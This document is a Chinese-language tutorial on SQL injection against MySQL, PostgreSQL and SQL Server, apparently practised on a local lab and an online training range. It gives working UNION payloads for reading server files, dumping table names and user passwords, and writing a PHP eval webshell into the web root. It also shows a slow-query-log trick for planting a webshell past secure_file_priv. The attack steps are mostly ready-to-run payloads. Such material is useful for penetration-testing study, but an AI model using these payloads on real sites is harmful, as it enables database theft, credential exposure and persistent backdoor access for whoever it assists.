MYSQL/PostgreSQL高权限读写

当mysql的当前用户为高权限用户的时候,即为root用户的时候,我们可以进行读写注入,即我们既可以读出特定的文件,也可以将一些内容写入某些特定文件中,进而可能造成后门代码,从而用getshell

读取文件

union select 1,load_file('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

我们可以看到成功从对应的文件中读取出相关的数据

21d7e6a25761857c8bc746b9c370a36d

数据库中正常读取文件:

select load_file('d:/w.txt');

image-20240710161236423

所以我们可以尝试读取数据库配置文件等重要性文件,进而扩大危害

http://127.0.0.1:8081/web/mysql/news.php?id=1 UNION SELECT 1,load_file('D:\\phpstudy_pro\\WWW\\web\\mysql\\config\\conn.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

image-20240710162006256

为什么使用\\,是因为\会被当成换行符而报错,所以一般在输入相关的路径的时候,都要进行转义的操作

这个时候又会出现问题了,我们怎么获取配置文件的路径呢?

常见的路径获取方法有报错显示遗留文件phpinfo.php漏洞报错平台配置文件爆破等,根据实际情况进行搜索,这里就不一一列举了

写入文件

UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'd:/www.txt'
数据库写文件:select 'xxx' into outfile 'd:/1.txt';

image-20240710161429961

我们可以通过写入后门代码来进行getshell,具体例子如下所示

http://127.0.0.1:8081/web/mysql/news.php
?id=1 UNION SELECT 1,'<?php eval($_POST['x']);?>',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'D:\\phpstudy_pro\\WWW\\web\\mysql\\3.php'

然后用菜刀进行连接

image-20240710163108179

secure_file_priv选项

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

secure_file_priv=null #限制mysql不允许导入导出
secure_file_priv=/tmp/ #限制导入导出只发生在/tmp/目录下
secure_file_priv= #不对导入导出做限制

突破限制:借助PhpMyAdmin或者其他可控MySQL后台(普通框内注入是不能修改的)

global slow_query_log = 1;					//打开MySQL日志记录
set global slow_query_log_file = "Shell路径(后缀.php)"; //设置日志存储路径
select 一句话木马 or sleep(11); //通过日志记录会将这句木马存储到日志中

变相地相当于mysql主动帮我们存储了一条一句话木马

1645094258153-067ee31d-6976-4910-ae1f-ede06442e60d.png

PostgreSQL注入

PostgreSQL的注入和MYSQL注入语句写法有些不一样,这里通过墨者学院在线靶场进行演示说明

-测列数:
order by 4
and 1=2 union select null,null,null,null
-测显位:第23
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误
其中,and 1=2 是为了让服务器爆出报错信息的

1645094307341-6ed3ced5-33f0-4de9-b6e2-ce2647bd2d64.png

获取相关信息

-获取信息:
and 1=2 UNION SELECT null,version(),null,null
and 1=2 UNION SELECT null,current_user,null,null

1645094364551-baada60d-1aa3-4871-a9d6-8219ac3d0876.png

获取当前数据库

and 1=2 union select null,current_database(),null,null

1645094607076-41a43dae-ad87-4808-b618-4944bedbc824.png

获取所有数据库名

and 1=2 union select null,string_agg(datname,','),null,null from pg_database

1645094739659-b36ef26a-b4f0-483c-baec-409b323a3362.png

获取表名

1and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
2and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables

1645094853779-ae4380f5-ce49-410d-9631-3df781be911f.png

获取列名

and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'

1645094897111-990734e9-eb09-467d-8516-1ddb9f2a0633.png

获取数据

and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

至此一个完整的mssql注入流程就到这里结束了,当然,可以用sqlmap跑这些冷门数据库,针对mysql数据库我还是建议手注,虽然慢,但是可靠,考的也最多,且易于我们理解注入流程

MSSQL注入

MSSQL也就是我们熟知的SQL Sever,下面介绍SqlServer的高权限注入

测列数:

order by 4
and 1=2 union all select null,null,null,null

测显位:

and 1=2 union all select null,'null',null,null
and 1=2 union all select null,null,'null',null

获取信息:

@@version:获取版本信息

db_name():获取当前数据库名字

user,system_user,current_user,user _name:获取当前用户名

@@SERVERNAME获取服务器主机信息

and 1=2 union all select null,db_name(),null,null

获取表名:

and 1=2 union all select null,(select top 1 name from moze_db_v2.dbo.sysobjects where xtype='u'),null,null
and 1=2 union all select null,(select top 1 name from moze_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null

获取列名:

and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null

获取数据:

and 1=2 union all select null,username,password,null from manage